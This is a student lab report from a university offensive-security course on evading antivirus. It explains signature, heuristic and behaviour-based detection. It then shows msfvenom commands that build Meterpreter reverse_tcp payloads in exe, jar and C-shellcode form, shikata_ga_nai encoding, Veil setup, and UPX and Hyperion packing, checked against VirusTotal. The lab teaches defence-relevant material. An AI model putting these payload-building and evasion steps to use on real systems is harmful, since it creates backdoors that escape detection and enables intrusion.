20192401 王麦齐 2021-2022-2 《网络与系统攻防技术》实验三实验报告
1.实验内容
1、方法
- 对后门实验中的msf编码器进行进一步的探索使用,使用msfvenom指令生成如jar之类的文件,从而尝试达到免杀的目的;
- 通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀;
- 使用C+ShellCode编程实现免杀;
2、应用
- 通过组合应用各种技术尽可能地实现恶意代码免杀或者是与杀软共生(如果成功实现了免杀的,简单语言描述原理,不要截图;与杀软共生的结果验证要截图)
2.基础问题回答
-
杀毒软件是如何检测出恶意代码的?
-
杀毒软件可以通过下述方法检测出恶意代码:
- 基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。杀毒软件可以通过格式分析和代码分析从恶意软件的代码程序中提取出独有的固定性的数据片断(一段特殊代码或者是字符串信息)以及该片断的位置信息,将这些信息抽象成静态特征码作为该恶意软件的特征。但该方法只能检测出已有的恶意代码,具有一定的滞后性。
- 启发式恶意软件检测
- 启发式分析是一种通过检查代码的可疑属性来检测病毒的方法。启发式分析可以在未知的新病毒、现有威胁的修改版本以及已知的恶意软件样本中找出可疑特征。
- 静态启发式分析
- 具体过程是对可疑程序进行反编译并检查其源代码,然后,将此代码与已知且包含在启发式数据库中的病毒进行对比。如果有特定比例的源代码与启发式数据库中的任何内容相匹配,则将该代码标记为可能的威胁。
优点: - 可以检测0-day恶意软件
- 具有一定通用性
缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高- 动态启发式分析 - 具体过程是将可疑的程序或代码片段隔离在专用的虚拟机(或沙盒)内部,使防病毒程序有机会测试代码,并模拟允许运行可疑文件时所发生的情况。它将检查每个命令在激活情况下的状况并查找任何可疑行为,例如自我复制、覆盖文件以及其他在病毒中常见的操作。
- 基于行为的检测
- 通过监视程序的行为,依靠动态拦截或是静态分析的方案获取程序的系统调用的序列,再与已知的恶意行为模式,即恶意软件的系统调用序列进行匹配,来判断目标文件是否为恶意软件。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式检测。
-
免杀是做什么?
免杀技术全称为反杀毒技术(Anti Anti- Virus),它指的是一种能使病毒木马免于被杀毒软件查杀的技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。 -
免杀的基本方法有哪些?
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
- 用其他语言进行重写再编译(veil-evasion)
- 改变行为
- 通讯方式
- 使用反弹式连接
- 通常用于对方主机在外网无法访问(NAT),对方主机防火墙限制,对方IP动态变化等情形
- 使用隧道技术
- 加密通讯数据
- 例如使用reverse-https进行转发
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 手工打造恶意代码
- 通过C语言调用ShellCode等方法
3.实验过程
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 首先我们使用VirusTotal来检测实验二中的后门程序,如图一所示,VirusTotal的检出率为54/69
此时我们再使用x86/shikata_ga_nai进行编码
┌──(wmq㉿kali)-[~]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.43.60 LPORT=2401 -f exe > 20192401.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 537 (iteration=0)
x86/shikata_ga_nai chosen with final size 537
Payload size: 537 bytes
Final size of exe file: 7168 bytes
可在图中发现依然没有变化,说明单次编码是没有效果的。那么一次不行来十次,咱们使用迭代多次进行编码
结果我们发现只有轻微变化(减少两个)
我们再进行多种编码模式进行迭代编码,看一下成果。
此时我们再去看一下免杀的结果
依旧没有明显的变化。
这时我们再改变策略,试试生成jar文件看看如何:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.60 LPORT=2401 -f jar > 20192401.jar
这时我们发现当生成文件为jar格式较于前两类收效明显
这时我们再次尝试生成.php文件
最后我们再生成一个py文件
直接检测结果为0!!!太神奇了
安装veli加壳工具
sudo apt-get -y install git
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32 //此处出现问题详见问题分析1
sudo apt-get update
sudo apt-get install veil-evasion
veil
c语言生成shellcode并加压缩壳
键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.60 LPORT=2401 -f c
┌──(root㉿kali)-[/home/wmq]
└─# vi 20192401_shellcode.c
i686-w64-mingw32-g++ 20192401_shellcode.c -o 20192401wmq_shellcode.exe
检测结果如下
┌──(root㉿kali)-[/home/wmq]
└─# upx 20192401wmq_shellcode.exe -o 20192401wmq_shellcode1.exe
检测结果如下:
通过组合应用各种技术实现恶意代码免杀
1.c语言编写shellcode并进行压缩加密双加壳
在上一步压缩加壳的基础上将 20192401wmq_shellcode1.exe 文件拷贝到 /usr/share/windows-resources/hyperion 中
在当前位置输入
wine hyperion.exe -v 20192401wmq_shellcode1.exe 20192401wmq_shellcode2.exe
4.实验问题
问题一:实验时还没有做到py文件时测试php文件直接出现了一个0.....我感觉不太妙..不过确实和前一类的方法有明显的区别
后来在根目录检查文件时才发现原来是根本没传过来....
问题二:无法使用Virscan
5.实验感想
这次实验感觉还是很关键的,它对上一次实验是一个承接和延伸的过程,经过上一次的实验,我们开始了解后门的含义依旧后门的威力,从获得录音再到获得摄像头进行拍照,一个后门完全可以接手我们的电脑,这一次我们深入了解后门实验中的msf编码器,通过进行不同的编码方式,我们从而实现免杀操作,这次实验我感受到了杀毒检测的强大,这么多个样本到py文件才报0,同时通过Veil等工具对目标程序进行加壳或者其他操作来实现免杀,从另一个角度来学习问题,收货很大!